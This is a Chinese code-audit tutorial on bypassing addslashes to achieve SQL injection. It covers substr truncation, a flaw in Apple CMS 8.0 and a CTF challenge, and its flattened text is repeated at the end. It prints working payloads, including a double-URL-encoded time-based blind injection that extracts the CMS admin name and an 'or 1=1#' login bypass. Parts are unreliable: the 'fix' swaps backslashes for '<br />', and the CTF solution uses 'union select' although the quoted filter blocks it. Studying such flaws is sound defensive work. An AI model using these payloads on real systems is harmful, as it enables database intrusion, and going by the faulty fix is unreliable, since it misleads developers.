[红日安全]代码审计Day13 - 特定场合下addslashes函数的绕过
字数 1210 2025-08-18 11:37:41

绕过addslashes函数的SQL注入技术分析与防御

前言

本文详细分析在特定场景下如何绕过addslashes函数的防护实现SQL注入攻击,通过实际案例和CTF题目讲解相关技术原理及防御方法。

基础知识

addslashes函数

addslashes函数用于在特定字符前添加反斜线进行转义:

string addslashes ( string $str )

转义字符包括:

  • 单引号(')
  • 双引号(")
  • 反斜线(\)
  • NUL(NULL字符)

substr函数

substr函数用于返回字符串的子串:

string substr ( string $string , int $start [, int $length ] )

漏洞原理分析

典型绕过场景

当同时使用addslashessubstr函数时,可能出现安全绕过:

  1. 用户输入包含单引号和反斜杠,如:1234567890123456789\'
  2. addslashes处理后变为:1234567890123456789\\\'
  3. substr截取前20个字符:1234567890123456789\'(反斜杠被截断)

SQL语句拼接效果

原始SQL:

select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'

pass=or 1=1#时,完整SQL变为:

select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'

由于反斜杠使最后一个单引号失效,user值被解析为1234567890123456789\' AND password =,导致SQL注入成功。

实际案例分析:苹果CMS 8.0

漏洞位置

inc/common/template.php文件中存在SQL注入点:

$sql = "select * from mac_vod where 1=1 ".$lp['wd'];

防御机制分析

  1. 输入处理流程

    • 通过be("all", "wd")获取输入
    • 使用addslashes转义
    • 调用chkSql()进行安全检查
  2. chkSql函数处理

    • URL解码(urldecode)
    • StopAttack函数过滤
    • htmlEncode实体编码
  3. htmlEncode函数缺陷
    原始函数未处理反斜杠:

    function htmlEncode($str){
        $str = str_replace(chr(38), "&",$str);
        $str = str_replace(">", ">",$str);
        $str = str_replace("<", "&lt;",$str);
        $str = str_replace(chr(39), "&#39;",$str);
        $str = str_replace(chr(32), "&nbsp;",$str);
        $str = str_replace(chr(34), "&quot;",$str);
        $str = str_replace(chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;",$str);
        $str = str_replace(chr(13), "<br />",$str);
        $str = str_replace(chr(10), "<br />",$str);
        // 缺少对反斜杠(chr(92))的处理
        return $str;
    }
    

绕过方法

使用双URL编码绕过addslashes

wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63

防御措施

修复方案

htmlEncode中添加对反斜杠的处理:

$str = str_replace(chr(92), "<br />",$str); // 新增修复代码

综合防御建议

  1. 使用预处理语句(PDO/prepared statements)
  2. 最小权限原则设置数据库账户
  3. 输入验证与输出编码结合
  4. 避免直接拼接SQL语句
  5. 使用Web应用防火墙(WAF)

CTF题目分析

题目代码

// index.php
<?php
require 'db.inc.php';

function dhtmlspecialchars($string) {
    // 实体编码转换
}

function dowith_sql($str) {
    // 关键词过滤
    $check = preg_match('/select|insert|update|delete|union|into|load_file|outfile/is', $str);
    if ($check) {
        echo "非法字符!";
        exit();
    }
    return $str;
}

// WAF处理
foreach ($_REQUEST as $key => $value) {
    $_REQUEST[$key] = dowith_sql($value);
}

// 业务处理
if (isset($_REQUEST['submit'])) {
    $user_id = $_REQUEST['i_d'];
    $sql = "select * from ctf.users where id=$user_id";
    $result=mysql_query($sql);
    // 输出结果
}
?>

解题思路

  1. 分析过滤机制:

    • dowith_sql过滤SQL关键词
    • dhtmlspecialchars实体编码特殊字符
    • addslashes转义特殊字符
  2. 可能的绕过方式:

    • 使用双重编码
    • 利用参数解析特性
    • 使用注释符绕过过滤
  3. 最终payload示例:

    /index.php?i_d=1 union select 1,2,3,4%23&submit=1
    

总结

  1. addslashes与字符串截断结合可能导致安全绕过
  2. 多层防御机制间可能存在逻辑漏洞
  3. 输入处理应遵循"深度防御"原则
  4. 输出编码应根据上下文选择适当方式
  5. 定期安全审计和渗透测试至关重要

参考资源

  1. PHP官方文档 - addslashes函数
  2. OWASP SQL注入防御指南
  3. 安全编码最佳实践
  4. Web应用安全测试方法论
绕过addslashes函数的SQL注入技术分析与防御 前言 本文详细分析在特定场景下如何绕过addslashes函数的防护实现SQL注入攻击,通过实际案例和CTF题目讲解相关技术原理及防御方法。 基础知识 addslashes函数 addslashes 函数用于在特定字符前添加反斜线进行转义: 转义字符包括: 单引号(') 双引号(") 反斜线(\) NUL(NULL字符) substr函数 substr 函数用于返回字符串的子串: 漏洞原理分析 典型绕过场景 当同时使用 addslashes 和 substr 函数时,可能出现安全绕过: 用户输入包含单引号和反斜杠,如: 1234567890123456789\' addslashes 处理后变为: 1234567890123456789\\\' substr 截取前20个字符: 1234567890123456789\' (反斜杠被截断) SQL语句拼接效果 原始SQL: 当 pass=or 1=1# 时,完整SQL变为: 由于反斜杠使最后一个单引号失效, user 值被解析为 1234567890123456789\' AND password = ,导致SQL注入成功。 实际案例分析:苹果CMS 8.0 漏洞位置 inc/common/template.php 文件中存在SQL注入点: 防御机制分析 输入处理流程 : 通过 be("all", "wd") 获取输入 使用 addslashes 转义 调用 chkSql() 进行安全检查 chkSql函数处理 : URL解码( urldecode ) StopAttack 函数过滤 htmlEncode 实体编码 htmlEncode函数缺陷 : 原始函数未处理反斜杠: 绕过方法 使用双URL编码绕过 addslashes : 防御措施 修复方案 在 htmlEncode 中添加对反斜杠的处理: 综合防御建议 使用预处理语句(PDO/prepared statements) 最小权限原则设置数据库账户 输入验证与输出编码结合 避免直接拼接SQL语句 使用Web应用防火墙(WAF) CTF题目分析 题目代码 解题思路 分析过滤机制: dowith_sql 过滤SQL关键词 dhtmlspecialchars 实体编码特殊字符 addslashes 转义特殊字符 可能的绕过方式: 使用双重编码 利用参数解析特性 使用注释符绕过过滤 最终payload示例: 总结 addslashes 与字符串截断结合可能导致安全绕过 多层防御机制间可能存在逻辑漏洞 输入处理应遵循"深度防御"原则 输出编码应根据上下文选择适当方式 定期安全审计和渗透测试至关重要 参考资源 PHP官方文档 - addslashes函数 OWASP SQL注入防御指南 安全编码最佳实践 Web应用安全测试方法论